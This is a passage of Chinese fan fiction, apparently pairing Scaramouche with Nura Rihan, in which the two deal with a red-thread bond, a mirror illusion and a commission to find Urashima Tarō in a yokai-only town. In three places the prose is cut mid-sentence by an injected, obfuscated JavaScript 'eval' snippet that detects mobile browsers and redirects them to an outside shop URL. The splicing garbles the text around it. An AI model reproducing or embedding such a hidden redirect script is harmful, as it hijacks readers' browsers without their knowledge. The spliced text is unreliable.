猝不及防的感触与属于他人的温度令散兵浑身一僵,他不可置信的睁大了双眼,被迫注视着大妖怪放大的了的俊秀脸庞。那从未感受过的柔软与温热令他的大脑难以运转,在回神之后他猛地想起推开对方时,却突然爆发出一股刺目的白光,被抓住的那只手不知道何时已经被摁在了另一只小手之上,而平滑的镜面如同水面一般被拨开了一条缝隙,不知道什么东西正抓住了自己和那孩子的手。 散兵扭过头,强行在刺目的光中睁开眼,黑发大妖怪俊秀挺拔的身影站在自己的旁边,周围散发着某种他不理解的情绪。 “虽然我也不清楚为什么要这么做。”奴良鲤伴闭起一只眼,轻轻眨了一下另一只眼睛,液态金属一样的眼眸里沸腾的是未知的情绪,他勾了勾唇角,“但既然只是水中月,做一下出格的事情也没关系吧。” 28.入骨红线 散兵死死注视着大妖怪的身影,光芒溢满视线之间,他似乎看到奴良鲤伴带着遗憾轻轻叹了一口气。 和进入幻境时一样,并无任何异样地回到了现世。 “没事吧?”熟悉的急切声音被收入耳畔,但视觉上还是被纯白占据。 散兵眨了眨眼,好一会儿才从过量光芒中的晕眩中适应过来。他下意识伸手打开了抚在自己肩膀上的手,抬起头看见奴良鲤伴惊愕的神情,张了张口想要质问对方到底是何意,但此处的奴良鲤伴并非幻境中的他,无处发泄的气恼之下,抿了抿唇,错开几步朝着捧镜少年靠近些。 “……你们两个得都在才能完全连接。”他辨别了一下,现在的应该是人类影月。 “我在。”镜面如水波动了一下,影月连忙换了个姿势,像捧画一样将镜子竖着捧起,两张一模一样的脸庞便呈现在众人面前了。 “鲤伴大人……”穿着浴衣的纪乃上前一步。 回过神的奴良鲤伴看了她一眼,“啊,这里的事情应该解决了,先让大家回去吧,一些摊位应该还剩下些小尾巴能够玩乐。” 他伸手揉了揉太阳穴,看起来是为了今日的事端解决而安心,但是只有他自己才清楚,自己头疼的是那段不知为何被传输过来的记忆,自己……怎么会做这样的事情? 他心底情绪有些说不出的滋味儿,若是说对少年完全没有想法,那自然是假的,他一向不吝于承认自己对美丽事物的青睐,面对着这样的脸什么想法都没才有问题吧。 但是他也很清楚少年之所以会在此处不过是源于自己的好奇心冲动而已,自己的情感只会成为对方的负担,易地而处,如是自己陷于两方世界抉择的困境,恐怕夜夜都要辗转反侧了。 况且,散兵看起来也并无此意,自己思虑过多也并无必要,左右……少年离开的日期应当不会太远。 奴良鲤伴看着散兵手里新出现的褐色宝石如此想到。 “这东西哪儿来的?”奴良鲤伴意外地看向少年。 散兵用嫌弃的表情看了他一眼,“你这家伙刚刚是完全没听啊。” “在回来的时候觉得上面有东西,抓了一下就摸到了。”散兵看着奴良鲤伴靠近,将左手往袖子里拢了拢,“……别离我这么近。” “真是无情啊……”奴良鲤伴故作委屈地说道,“我可是奔波了一宿啊。” “……谁不是啊。”散兵小声地嘀咕了一句,看向了影月,“是代表‘病’的力量,这样一来你的身体应该就不会有那么大负担了。” 你还要继续这个选择吗。他看向了映月,询问之意不言而喻。 “我已经决定了,要与影月永远在一起。” “呵。” 散兵意味不明的轻笑了一声,似是嘲讽又似是认同,他伸出手,褐色圆形的宝石泛起一道浅浅的光泽,影月几乎是一瞬间就觉得轻松了很多,如同在映月的世界里一般。 下一刻蓝色泪滴状的宝石内部月色下剧烈地滚动沸腾,但它不论再怎么波动,也被牢牢地禁锢在躯壳中一般。 影月的口中不由发出痛苦的呻-吟,奴良鲤伴心中一揪朝着少年望去,月光下人偶美丽的面容也显得苍白脆弱,但那双紫水晶的眸子坚定地注视着手中的宝石。 如同水银一般的物质蓦然从镜子中涌出,奴良鲤伴下意识站至散兵侧前,既不妨碍他的视线,又能在映月第一时间想做什么前阻拦住他。 闪闪发亮的银流并未攻击二人,相反,它朝着影月干瘦的身躯缠去:从他与地面接触的足部一路向上将他完完整整地包裹起来,又在奴良鲤伴警惕和意外的目光中,缓缓地渗透进了影月的躯体中。 之前一直怯生生低着头的少年抬起头,那双眼睛如镜般剔透明澈,是映月。 “多谢。”他朝着散兵说道,“和你说的不一样。” 他伸出手,细细地感受了一番,“我和影月此时在一起。” “并非是以你说的形式,我觉得……”映月半天找不到合适的词语,“我就是他,他就是我,所以应该不会有耗尽的那一天了。” “好运的意外之喜。”散兵的声音听起来毫无感情,他抿了抿唇,转过身快速地念诵起来咒语。 “我先回去了。” 奴良鲤伴望着少年的腾飞的身影,又伸出手看着手腕上一端没入虚空的红线,不由轻轻叹气。 这下可是……他做的事情自己来承担后果了。压下心中淡淡的不快,奴良鲤伴细细体会起此时的感受来:到底只是临时解除的一种手段而已,他能感受到散兵位置,的确是自己家的方向,并无任何停留。 看来少年的确是累极了。也是,刚刚少年的脸色明显不好,操纵那种东西恐怕颇为耗费精力。不过也不至于到了消耗血液也要急着回去的地步,毕竟就算少年抹不开面子,自己也会抱…… 奴良鲤伴猛地嗅了嗅,淡淡的血腥气弥漫,这不奇怪,那个付丧神可对自己的性命完全不在意,只是……有两种气味。回想起少年刚刚似乎在刻意回避自己碰触他的左手,他猛地明白了什么。 “如果你有意留在江户可以明天来奴良组一趟。” 他匆匆交代了一番,便发动了明镜止水快速朝着江户城赶去。 —— 一路冲回了家中,没去在意那些望过来的小妖怪的视线,奴良鲤伴到了院中,感受了一番大概位置,他抬起头从绽开的樱花花簇中隐隐看到了少年的身影。 轻巧起跃在少年身旁坐下,奴良鲤伴侧过脸打量起对方的脸色来:月光下少年的皮肤如凝脂般剔透,在平时他恐怕难免要多欣赏片刻这不似凡人的容颜,但此刻却不免怨恨起这太过白皙的皮肤难以看出主人的状态来。 他伸手想要捉住散兵的左手以验证猜想,少年却飞速一躲,调整了番姿势,背靠着主干,一腿支在树干上一腿自然垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876458|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,或许是月色醉人,他的声音有些懒洋洋,带着浅浅的讽意:“怎么,还抓上瘾了不成?” 奴良鲤伴几乎一瞬间就想起来记忆中柔软的唇瓣,和过近的距离下紫水晶似得眼眸中唯有自己一人身影的画面,接吻时还是得闭上眼更合适啊。他的遐思只停留了一瞬,心中牵挂的事情就让他回了神。 “你的手受伤了。” 奴良鲤伴声音确信,散兵也没办法遮掩,本应该快速愈合的伤口不知道为何没有动静,本来打算借着解开红线的时间待它愈合,却反而倒欠了一次解契的代价。 他声音闷闷地抬起手在月光下晃了一下,有些烦躁道:“不是什么大问题,明天就会好。” “这可不像是明天就好的样子啊。” 或许是失血带来的倦怠,他的手竟然被奴良鲤伴精准的抓住了,他听见大妖怪叹了口气。 奴良鲤伴望着少年的手腕,松松散散系在手腕上的红线牢牢的嵌进手甲之中,对着月光能看到延伸出的红线上略有些湿润色彩。 他伸出手指毫不费力地就挤进了红线圈中,低下头捏住一端,手指顺着手腕轮廓试探性地微挑—— “呃嗯……”人偶皱着眉难以抑制的自唇间溢出几分呻-吟,原来这才是惩罚,他想到。 真是糟糕透了。这种宛如灵魂撕裂一般地疼痛才是对试图逃离囚笼的鸟儿的惩罚。想要解除附骨之疽一般缠绵疼痛的就只有由“主人”亲自动手才行。……真是难看。 奴良鲤伴看着因疼痛本能地缩起身子的少年,他额头间的碎发已经被汗水全然打湿,看起来狼狈不已,但是…… 这才是一小截而已。 他的动作不由挺住了。 “……快点。”喑哑的声音传来,“长痛不如短痛。” 奴良鲤伴当然知道这个道理,这并不是心软的时候,自以为是的心软只是更长久的折磨而已。他深深地看了少年半蜷在树干阴影里的身体一眼,抓住他的手腕,猛地顺着手腕轮廓绕了一周,伴随着红线分离而来的是少年颤抖的手和本能想要缩回去的反应。 大妖怪让少年没能如愿,相反他迅速而强硬地抓着想要收回的手送至唇边—— 温暖湿润的柔软轻轻滑过红线曾嵌入的地方,散兵因为疼痛而难以抑制颤抖的左手好似得到了安抚平复下来。 也许是伤口在愈合,也许是因疼痛而冻结的身体又活络了过来,本能地抗拒他人的侵入,自手腕处传来一阵痒意,散兵下意识地想抽回手—— 奴良鲤伴反向拉了拉,空闲的手拍了一下他的胳膊,他声音含糊却不容拒绝:“别动。” 又顺着伤口细细舔舐了一圈,奴良鲤伴满意地看着少年纤细的手腕已经恢复了与往日无二的状态。 放开少年的手,他抬起头,月光的照耀下,少年过于红润的唇瓣泛着粼粼水光。 ……难怪除了一开始,散兵再也没有过闷哼。 29.访客 “……多谢。”散兵自疼痛中拔出意识,他垂下眼眸,面色惨白,声音也显得疲惫,注意到奴良鲤伴的视线,不免片刻怔愣,幻境中奴良鲤伴莫名的举动又在记忆中浮现。 从未感受过的体验令他想要远离,这种人类间表达亲近的方式,对他来说太过遥远了,他不曾与任何人站在这样的距离过。 真是莫名其妙。散兵想到,这种情感没有半分可供使用的价值吧……都怪这莫名其妙的束缚,不,若是要归根溯源,这不是还得怪奴良鲤伴了么? 柔软相接的感触又好像在唇上浮现,他下意识地伸出舌头舔舐唇瓣想要覆去那种错觉,出乎意料触碰到不属于自己的—— 金眸的大妖怪略有些意外地睁大了眼睛,随即又被笑意溢满,他注视着那双眼睛,在月光下如水一样的明澈,却带着几分茫然。 “好了。”他的拇指从散兵唇角又滑到另一侧,确认被咬出的伤口已经愈合,忍不住又摩挲了一下,才点了点头,他低声询问:“在那个时候就开始了吗?你应该早点告诉我的。” 奴良鲤伴太过轻柔的声音让他有种自己被珍视被安抚的错觉。大概是这平和的月色太过柔软了,也难怪总被人在志怪杂谈里作为“虚假”“欺骗”的象征。 散兵略略别过头,稍扬了下巴,“多此一举。” “这种小伤很快就会愈合的。” 奴良鲤伴的目光扫过因为这个动作而无意识展示出纤长脖颈,金眸一暗,“毕竟是我没跟上你,就当是赔罪了。” 他没在这个话题上纠缠下去,今天已经足够了,贪图更多只会适得其反,况且他也需要看清自己的真实想法。 “今天怎么样?” 散兵一时没反应过来,他看向奴良鲤伴,对方的目光正看着远方,街上的灯笼少见的彻夜长明,大多数游人还在享受着节日的欢愉。 大妖怪金色的眼眸仿佛被灯火点亮,意气和骄傲让他整个人都如同太阳一般灼热耀眼。 ……所以说,果然是毫无价值吧。自己和奴良鲤伴显然并非同路人,那种莫名其妙的情感只会成为无用的束缚。 自觉理清了所有的散兵勾了勾唇,眼眸里闪过一丝恶趣味的暗芒,他幽幽道:“今日可真是坎坎坷坷,一路不顺……” 他注意到奴良鲤伴一扫之前的闲适,不自觉地抓着身下的树干。 “但的确是毋庸置疑的繁华城市,人与妖得以共存的城市。” “怎么样,满意了吗。” 刚刚称赞过他心爱之物的少年侧过头,眼含笑意地望着他,远处街道仍传来熙熙攘攘的喧嚣,却在此刻显得无比宁静,风带来不知道何处的芳香,大妖怪觉得自己的心脏或许停止了一瞬也说不定,他猛地跳下树干,片刻后又匆匆归来。 倾倒在酒碗里的液体散发出醉人的清香,奴良鲤伴为散兵斟酒,却并非为了结义,但他也很清楚这并非的纯粹的友情,于是他举杯祝酒,只是道:“这算是补上此夜的缺憾了,也愿我们的旅途不再有任何遗憾。” 散兵被那双几乎灼人的金眸注视着,半张的口本想说些什么也在这刻放弃了,转为了一声轻笑举起了杯。 ……就做一次知情识趣的人吧。 在浅浅的喧闹声中,樱树的花瓣随风飘落,谁也不知道何时分开的红线又紧紧地联系在了一起。 —— 接下来的几日两人都过了些老实日子,这份临时解开束缚的咒语所带来的后果比想象中的要大,散兵虚弱了好几天,可谁让他们现在就死死地绑在一起,奴良鲤伴也被迫留在了家中。 最重要的是—— “也就是说,你也根本不知道它的有效期是多久?” “哎呀……”奴良鲤伴翻动了一下照姬送来的书册,眼神游移,“那种时候谁会关注这些无关紧要的东西啊。” “那个孩子怎么样了。” 前几日他几乎都是在昏睡之中度过,也许是不只是咒语的问题,大概还有试图逃避红线束缚所造成的叠加后果,好在那个少年在脱离了病痛后应该也不会在这几天内死去。 “他们留了下来,姑且先给一家店铺搭把手。”奴良鲤伴想起了什么,笑道,“收留了他们的就是另一个被关进镜子里的倒霉蛋喔。” “不过那个家伙看起来是个混蛋,但除了嗜酒一些,人却很不错。” “喔。”散兵可有可无的应了一声,他对那个孩子的未来并不在意,会询问一句也不过是确定交易结果而已,既然已经安顿下来,那这件事应该就到此为止了。 奴良鲤伴突然想起了什么,“对了,那个付丧神倒是有个问题想问你,他很好奇你是怎么进去的那么快的。” 散兵投以疑惑的目光。 “按照他的说法,”奴良鲤伴摸了摸下巴回忆道,“那个最先被他塞进去的家伙,可是花费了半天工夫才成功——毕竟要是这么容易就能关人进去,他早打出去了,也不至于还在江户鬼鬼祟祟的。” “他自己的东西都不清楚,倒还要来问我?”散兵打了个哈欠,有些无精打采的,这两天虽然不至于近似昏迷般的沉睡,但还是疲惫的厉害,声音中的冷嘲因倦意变得懒洋洋的。 “你要不要再休息会儿?”奴良鲤伴看了天色,此刻太阳高悬,刚过正午,前两天下了一场雨,空气不算燥热,正是适合午睡的时候。 少年把头支在矮桌上,拿起一份打开的信件,强打精神阅读起来,“……不必。他还说了什么吗?” “照他的说法是,觉得就好像你在主动进去一样。” 这让散兵回忆了一下当时的感受,他确实什么也没察觉到,但也并非没有怀疑的对象:“或许是那块石头吧。毕竟要说的话,我会注意到他也不过是被那种感觉所吸引而已。” “看来之前的想法没错了。” 散兵淡淡道:“那岂不是正好,会自己送上门也免于了我们在这些东西里大海捞针。” 照姬送过来的东西,这两天在奴良鲤伴的努力下也不过消磨了十之一二,大多都是一些似是而非的东西,偏偏又种类颇杂,不翻完整册难以辨别是否真的无用。 “……甚至还有神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912561|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话传说。”散兵见这故事开头熟悉得很,便迅速翻看了几页,看到结尾时,忍不住轻笑出声,“看来不管是哪个地方,都会有这样相似的故事,背弃承诺又不相信他人,呵呵,真是有趣。” “什么东西。”奴良鲤伴好奇地探头凑了过来,和他挤在一起看看那本书上写的是什么,他只一看到人名便了然了,“这个啊。” “的确是很有名的故事,但是把这个东西也塞进来……是真的一点希望都不想放过啊。” “末路上的老鼠总不会放弃任何一块奶酪,没什么好奇怪的。” 奴良鲤伴耸了耸肩,“也是。” “鲤伴。” 伴随着轻轻的敲门声,门口传来了熟悉的女声。 “嗯?有什么事情吗,姐姐。” 雪丽拉开了障子门,“有一位客人来拜访你。” “客人?”奴良鲤伴合起了书,正欲起身,忽然注意到了什么,“如果不是什么太过棘手的客人,就请他来这里吧。” 雪丽抬眼看了一眼奴良鲤伴身后,少年用手拖着脸颊,头也不抬地翻看着书,脸上写满了疲倦。 她轻轻点了点头,稍过了片刻,带着一个穿着简朴的袈裟的女人走了进来。 这个女人头上包着头巾,手中握着一串散发着油光的念珠,另一只手里拎着一盒东西,她面容平和,目光慈悲,无疑是一位很符合人们想象的比丘尼,但奴良鲤伴不记得奴良组和这样的人有交集。 雪丽与奴良鲤伴视线交汇,她轻轻地摇了摇头,示意自己也不记得有这样的人,见人带到,她便离开了。 “这是见面礼。”这位比丘尼奉上了一直带着的东西,只是,对象确实在后面并无参与进来意愿的散兵。 他挑了挑眉,扫过盒子上的标志,“我可不曾见过你。” “但我的确是为您而来。”她并不为散兵语气中的冰冷所动,“您对现在的情况一定十分茫然,此番前来我是受龙女所托。” “龙女?”散兵缓慢地复述了一下她提到的雇主,目光看向了奴良鲤伴。后者回以一个无辜的眼神。少年回以了一声短促带笑的气音。 “是。”比丘尼和蔼地笑了笑,好似并未注意到两人的互动一般,“龙女希望两位帮忙找一个人,他欠了龙宫一些东西。” “喔?”散兵不带半分情感的眼睛眯起,似笑非笑地注视着比丘尼,“我不过一介旅人,倒不知道是要寻找什么人,才让这位龙女舍弃旁边的妖怪首领,转而委托我呢?” “龙女殿下自然是选择最合适的人。”比丘尼依旧是一副温和的样子,“是一个贪心的男人,他的名字应该很有名气——” 她清晰地宣布道:“浦岛太郎。” 奴良鲤伴眼神一凛,与散兵对视了一眼,漫不经心地说道:“哎呀哎呀,那还真是……巧了呢。” 夏日明亮的阳光穿透了和纸,滤去了暖意柔柔的洒在少年手中翻开的书册上,上面的字迹清晰:“……一股白烟自玉手箱中冒出,原本年轻的男人在这一瞬间变成了一个白发苍苍的老人。” 30.委托 奴良鲤伴的目光停留在比丘尼带来的礼物上,这熟悉的包装手法他在前两天已经见了太多,或者说奴良组上上下下都见了太多,这代表着里面的糕点正是茶师所作。 至于茶师的归属,或许此番也有一些方向了。 比丘尼或许是猜到了他的所想,坦然道:“他的确是龙女殿下曾经的部下,但是请放心,寻人这件事是他们最后的任务,已和龙宫再无其他联系,并不会干扰到陆地上的妖怪。” “原来如此,只是,所有人都以为这些大神已经去了高天原呢。”奴良鲤伴的脸色并不好看,任谁知道那些都已经成为街头巷尾的传说成为了现实,都不感到太过愉快的,尤其是作为一个组织的领袖时。 “这自然是没错的。”比丘尼有问必答,她的态度好得惊人,“即使是龙女殿下,也不能再如那时一般令龙宫现于人世间。这也是会遣我前来的原因。” 她眼含敬意看向了散兵,“至于另一个原因……也是希望两位找到那个男人的时候,带着他来到龙宫,龙女殿下言道您此时一定有很多疑惑,她愿意为您解惑。” “……”散兵抬头看了她一眼,又垂眸漫不经心地翻弄起手上的书,他把书页翻回了之前跳过的关于浦岛太郎的部分,“我与你口中这位龙女素未谋面,倒不知她为何信誓旦旦要为我解惑了。不过这倒也是神明所遵循的一贯做派。” 比丘尼拨弄了几下手中的珠串,似是在斟酌言辞,在散兵足足又看了一遍关于浦岛太郎的故事后,她才终于开口道:“此事兹事体大,实在不应由我讲诉,但这件事与您回来到此世有关。” “都是大海捞针,比起去找一个不知道在哪儿,也不知道什么样子的男人,我们直接去寻找这些事情背后的真相,也要来得更有希望一些吧。毕竟这些书上可都是有切实的记载的。”散兵放下那本实际上是志怪传说的书,丝毫不见半分心虚。 “当然并非全无线索,龙女殿下也不是为了为难两位。实际上,我们已经能确定大概方位了。” “那么,既然你们知道他所在何处,又何必非要我们前往。” “那里并不欢迎人类,”比丘尼提及此,从进门起就显得和蔼的脸第一次显露出几分冷硬,“我不方便前往,龙女殿下又不能亲自前去,那个狡猾的男人正是凭借此才躲躲藏藏到了今日。” “这件事情交给茶师更好吧,你们应该也不只有他一位旧臣吧。”奴良鲤伴故作随意的插口道。 比丘尼无奈道:“出家人不打诳语,不必如此试探尼僧。龙女殿下的处境和高天原众神无异,仍选择追随龙女殿下,还能在外自由活动的,也只有我这一介尼僧而已。” “啊,见谅见谅,”奴良鲤伴笑着致歉,只是笑意却不达眼底,“难得听闻神话传说中的人物真的存在,好奇心重了些。” “大多数人类也认为妖怪的世界离自己很远,”比丘尼轻轻摇了摇头,“神明已经退出了人世的舞台,也许有一天妖怪和人类也会彻底分为两个世界吧。” “起码不是我在的时候。”奴良鲤伴竖起一根手指,他在说这些的时候总是颇有感染力,令人信服,“我倒是觉得也许未来会是人类和妖怪真正共存的世界喔。” “毕竟想要老实过日子的,不管妖怪还是人类,都是大多数吧,不安分的分子早晚会得到双方共同的排斥的。” 比丘尼因他的发言产生了一瞬间的错愕,又柔和了眉眼,“您的想法与我过去见过的妖怪都不一样……也许会有那么一天吧。我也会如此期待着的,或许等到了那一天到来,我也能重新行走于人世。” 她善解人意道:“我所能说的也只有这些了,想必两位也有一些想法想要交流,龙女殿下所委托的事情我也已经传达到了,明天同样的时刻我再来拜访,届时可以再告知我结果,今日就先到此为止吧。” 在比丘尼离去之后,散兵懒洋洋地打了个哈欠,强打起的精神散去,倦意上涌,他看向奴良鲤伴:“你对她说的怎么看?” “她说的地方如果是我想的那个的话,条件的确成立。”奴良鲤伴重新拉上障子门,有些刺目的阳光重新被和纸滤成柔和温软,适合入睡的程度。 “正如人们认为逢魔之时是‘遇到妖怪的时间’,那有一个地方只属于妖怪,也不足为奇。” “但是浦岛太郎也是人类吧。” “比起浦岛太郎,我更关心的那个比丘尼。”奴良鲤伴落座,将桌上散乱的书籍大致整理了一番,把读过的放至一边,“她说想看到人妖共存的那一天,这样自己也能够‘重新’行走……也就是说,现在的她是不容于人类社会的吧。” 紫眸一动,他并非愚笨之人,被一点也想明白了比丘尼语中的漏洞:“她未必没有进入到资格。” 这的确符合逻辑,但奴良鲤伴又觉得哪些地方不对,或许是那句“出家人不打诳语”影响吧。他一边整理思绪,一边屈指在矮桌上有节奏地轻扣起来,“这或许要看浦岛太郎的状态了,故事里龙女用玉手箱盛放着他在龙宫度过的光阴,也就是那口箱子能够存储时光,如果有人帮他……” “那就重复了。”血红色沙漏状的宝石被散兵在空中抛接了一下,“呵,这东西姑且也能作为证据吧。” 奴良鲤伴想了想最近发生的各种事情的关联性,不得不承认这应该也是送上门的环节之一——况更别说还有明显是冲着散兵来的龙女了。 “那么浦岛太郎的是人类的可能性就很小了。至于那个比丘尼,我也有了猜想,如果她是人类的话,倒也的确有相符合的……吃下了人鱼肉而得到了长生的八百比丘尼。” “得到了长生却被排挤出人类社会么……”散兵冷笑了一声,“呵,倒也符合人类恐惧排斥异类的习惯。” “至于龙女……”奴良鲤伴沉吟道,“她所在的时代离我们太遥远了,老爹知道的应该也不多,恐怕还得去见她一面才好。” 毕竟不得不承认,这么久以来他们除了一开始秀元提供的消息外,并没有找到什么明确的信息,以及…… “已经 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这两天因为那该死的红线,他精神状态昏沉持续许久,已经从一开始的警惕和怪异变得逐渐习惯了奴良鲤伴的照顾,在照顾人方面,大妖怪意外悉心的不像个妖怪组织的首领。 至于幻境……那镜子也只是收录他记录过的人物,许是奴良鲤伴作出的什么举动误导了镜子吧。 “那个比丘尼说的地方,是独属于妖怪的一处‘乐土’。”奴良鲤伴嘴上说着“乐土”,金色的眼眸里却满是阴翳,“那里拒绝人类进入——这样说或许并不恰当,更准确的说法是,人类能进入,只不过身份是‘货币’的一种。” “……”散兵咽下苦度正好的茶点,他已然清楚了那地方属于什么类型,厌恶道,“看来都是一群抑制不住兽-性的蠢材。” 说是独属于妖怪的乐土,恐怕那些常住民们也不敢轻易离开,不管是奴良组这样的妖怪义侠组织,还是守护人类的阴阳师,都不会放任他们进入自己所庇护的区域。 “没错。”这种妖怪正是他所最为憎恶的,但是多年来也已经成为了一种约定成俗,他们不会主动清剿,那里的妖怪也不会轻易离开,倒也算是一种脆弱的平衡,“那里将弱肉强食发挥到了极致,弱小的妖怪生死也只是在强者的一念之间而已。” “不过还好,”奴良鲤伴眉头舒展,“届时你紧紧跟在我身边就好,有这红线在,我们倒也不怕走散了。” “哈?”散兵咬住送进口中的叉子,像咬住出言不逊的大妖怪,他危险地眯起眸子,声音略有些含糊,其中冷意却难以忽视,“你在看不起我吗,还说是,把我当成什么需要你保护的可怜虫?” 空中弥漫着无形的压迫感,奴良鲤伴毫不怀疑自己的回答令人不满马上就会迎来一场酣畅淋漓的战斗,血液中沸腾的战斗的本能地呼唤着他握上弥弥切丸。 ——但现在他只是注视着那双被怒火点燃的紫眸,带着前所未有的另类生动。这美丽的眼眸中此刻无疑只有自己,奴良鲤伴被这双眼睛注视着,只觉得喉头干涩。 这下可真是完蛋了。他想到。 31.过度 伴随着“嘶”的一声,烛火毫无抵抗力的熄灭了,淡淡的月光成为了房间中唯一的光源。 但这对于奴良鲤伴来说并不是阻碍,他清晰的看得见陷入了睡眠的少年的每一处细节,那张白日里显得有几分张扬的面容在闭上眼的时候显得分外柔和,甚至称得上是乖巧恬静。 老实说,他有些不知道如何是好,正如少年所说,亦如少年下午时所用实力展示的那样,他的确并非是需要守护的脆弱之人。但倘若直视心中所念,那么守护所珍视之人即是奴良组的行事之道*——这无关轻视与否,只是纯粹出于心中的冲动而已。 尊重对方的意见与强行践行自己的理念,哪个才是正确的他自然清楚,只是发乎于心的行为难以一时之间改动。 ……或许对方也是察觉到了自己并无轻视之意,才愿意还面对着自己安心的沉睡吧。 他凑近了一些,伸出手想要碰触少年的脸颊,但到半途便将将停在空中,深沉的金眸只是单纯的注视着被月光镀了一层银边儿,更显得轮廓优美的脸颊。 ……这太过逾越了。 黑发的大妖怪轻叹之际,恰好错过了一闪而过的星空一样的紫。 —— “我的来意想必两位已经知晓,便不再赘述了。”比丘尼果然如约准时前来,手中也仍然拎着一盒龙宫旧臣出品的茶点。 散兵依旧翻看着手上的书本,但若是仔细去看,便会发现那双眼睛并没有聚焦在纸页上。 奴良鲤伴并没注意到他的异样,或者说,这两日散兵的状态一直不佳,他已经习惯了。昨日两人的意见已经达成了统一,于是他应允道:“能有一见昔年传说中人物的机会,自然不愿错过。” 比丘尼似乎早就预料到两人会答应,温和的笑了笑,取出了一张画像,“这便是浦岛太郎。” 画像上是一个面目清秀的男人,他看起来十分和善,只看神态的话,倒是与和善的比丘尼有些相似,最显眼的特征是脖颈侧面有一处黑色印记。这幅画最大的问题就是,他仍是一个人类。 或许是奴良鲤伴的眼神太过明显,比丘尼主动解释道:“这是龙女殿下依凭记忆画的,至于他现在的样子……或恐怕相错甚远,不过可以肯定的是,他一定就在鬼灯町。” 鬼灯是象征妖怪和幽灵的植物,那处入口则布满了一簇一簇异种鬼灯——许是妖怪力量的浸染,那里的植物也产生了一些异变,通红的鬼灯在白日里与外界无异,而等到了夜幕降临,外壳便会在极短的时间内褪去血肉,只留下苍白脉络的骨架,将血红色的“心脏”牢牢护在中央。当它散发出不详而诡异的光芒时,也就代表着“路”已经打开了。* 至于是因为“鬼灯町”这个名字为咒,它们才产生了这种异变,还是因为这种异变而叫做鬼灯町,已经无人知晓了。 “人到了那里,最好的结局也不再是人了。如果外貌靠不住,我们怎么知道找到的是否是他?”奴良鲤伴问道。 “届时这位应该会有所感应。”比丘尼看向散兵,低头拨弄了一下手上的念珠,“这话由我说或许不应当,但是龙女殿下也并非一定要他活着,带回他的身体和玉手箱,就足够了。” “路费我已经准备好了入门之物,接下来就依仗两位了。” 她从袖子中取出了两枚拇指大的浆果,放在矮桌上,“此去凶险,还望两位以己身为重。” …… “正常情况下,去鬼灯町的时间是固定的,一年只有数次开放的机会。”奴良鲤伴拿起桌上放着的浆果,摩挲了一下它的表皮,看起来光滑,入手确实涩涩的,如细小的绒毛一般。 比丘尼又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942540|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交代了一番注意事项后便告辞离开了,而剩下的一些妖怪的“常识”也只能由自己告诉散兵了。 “而如果想要随时进入,只能依靠此物。” 散兵闻言凑过来看了看这珍惜之物,并没看出来什么独特之处。 “那如果是出来的时候呢,这总不会是场单程票。” “当然不是,说不得是要更麻烦,还是更方便。”奴良鲤伴摇了摇头,面色复杂,“到了里面只要得到了守门人的同意便可离去。” 这是他最安心的一点,守门人是相对遵守规则的妖怪,他们往往实力强大,又因为常年在鬼灯町那种环境,区分谎言的最简单的方式便是一律视为虚假。 所以这结局一般来说便会演变成和守门人打上一场,赢了便可自行离开。 这几乎成为了鬼灯町的铁律,一条尽管多年来守门人换了数任,却从未变动过的准则。 “鬼灯町在现世的入口离江户颇远,正好近日‘妖车’要启程,我们后天乘坐它到附近,在转至入口,最为节省时间。” 散兵可有可无点了点头,这些事情奴良鲤伴做主便好。 “如此,我们明天需要购买一些东西,得做好最坏的打算。如果没能在段时间内找到人,我们几乎不可能在里面找到什么补给。”奴良鲤伴为他讲述了自己的大致安排,询问道,“你觉得有哪里不合适吗?” “嗯?”散兵像是突然回神一般,惊讶的看了他一眼,复又垂下眼眸,漫不经心道,“啊。我都行,你看着来便好。” 他又想起来什么,或是觉得太过敷衍,顿了顿又道:“进食与我而言并非维系生命的必须之物,准备好你的就足够了。” 奴良鲤伴摸着下巴,上上下下的将他打量了个遍儿。 “你是不是有什么话想对我说……?” 32.启程 “哈?”散兵促狭的眯了眯眼眸,毫不客气道,“你怎么会有这样的想法?” 他又轻飘飘地笑道:“我对你能有什么问的?” 奴良鲤伴盯着他,往日明亮的眸光因病弱而显得暗淡的少许,声音也被染上了几分慵懒,但这无损对方一如既往的气质,或者说今天似乎格外刺手? 他本能地觉得有些不对,他隐隐地有这样的感觉,但又抓不到关窍,歪了歪头,“比如具体一些的安排?” 如果是以往,奴良鲤伴多少要凑过来做些莫名其妙的举动,但今天他竟然只是坐在原处卖蠢……散兵意外之下又觉得有几分不习惯,他冷哼一声不屑道:“呵,不过是一些屈服于本能的野兽,有什么好值得计划的。既然没有约定时间,离开的条件又苛刻,再不济不过是清理一遍而已。” 